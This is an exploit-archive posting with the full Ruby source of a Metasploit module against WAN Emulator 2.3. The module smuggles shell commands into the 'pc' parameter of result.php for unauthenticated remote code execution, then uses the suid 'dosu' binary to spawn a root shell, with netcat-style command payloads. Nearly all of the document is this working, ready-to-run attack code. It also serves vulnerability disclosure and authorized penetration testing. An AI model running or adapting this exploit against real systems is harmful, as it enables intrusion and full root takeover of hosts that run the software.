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WAN Emulator 2.3 Command Execution

WAN Emulator 2.3 Command Execution
Posted Sep 11, 2012
Authored by Brendan Coles | Site metasploit.com

This Metasploit module exploits a command execution vulnerability in WAN Emulator version 2.3 which can be abused to allow unauthenticated users to execute arbitrary commands under the context of the 'www-data' user. The 'result.php' script calls shell_exec() with user controlled data from the 'pc' parameter. This Metasploit module also exploits a command execution vulnerability to gain root privileges. The 'dosu' binary is suid 'root' and vulnerable to command execution in argument one.

tags | exploit, arbitrary, root, php
SHA-256 | 1fb42426dc819635f534f9d0dfa8faeb1296d0151e8ddec91cb563bd1c4e5011

WAN Emulator 2.3 Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'WAN Emulator v2.3 Command Execution',
'Description' => %q{
This module exploits a command execution vulnerability in WAN Emulator
version 2.3 which can be abused to allow unauthenticated users to execute
arbitrary commands under the context of the 'www-data' user.
The 'result.php' script calls shell_exec() with user controlled data
from the 'pc' parameter. This module also exploits a command execution
vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
and vulnerable to command execution in argument one.
},
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
],
'References' =>
[
['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/']
#['OSVDB', ''],
#['EDB', ''],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x22\x27",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat-e',
}
},
'DefaultOptions' =>
{
'ExitFunction' => 'none'
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 12 2012'
))
end

def on_new_session(client)
client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
end

def check
@peer = "#{rhost}:#{rport}"
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
data = "pc=127.0.0.1; "
data << Rex::Text.uri_encode("echo #{fingerprint}")
data << "%26"
print_status("#{@peer} - Sending check")

begin
res = send_request_cgi({
'uri' => '/WANem/result.php',
'method' => 'POST',
'data' => data
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{@peer} - Connection failed")
return Exploit::CheckCode::Unknown
end

if res and res.code == 200 and res.body =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def exploit
@peer = "#{rhost}:#{rport}"
data = "pc=127.0.0.1; "
data << Rex::Text.uri_encode(payload.raw)
data << "%26"
print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
begin
res = send_request_cgi({
'uri' => '/WANem/result.php',
'method' => 'POST',
'data' => data
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{@peer} - Connection failed")
end
if res and res.code == 200
print_good("#{@peer} - Payload sent successfully")
else
print_error("#{@peer} - Sending payload failed")
end
end

end
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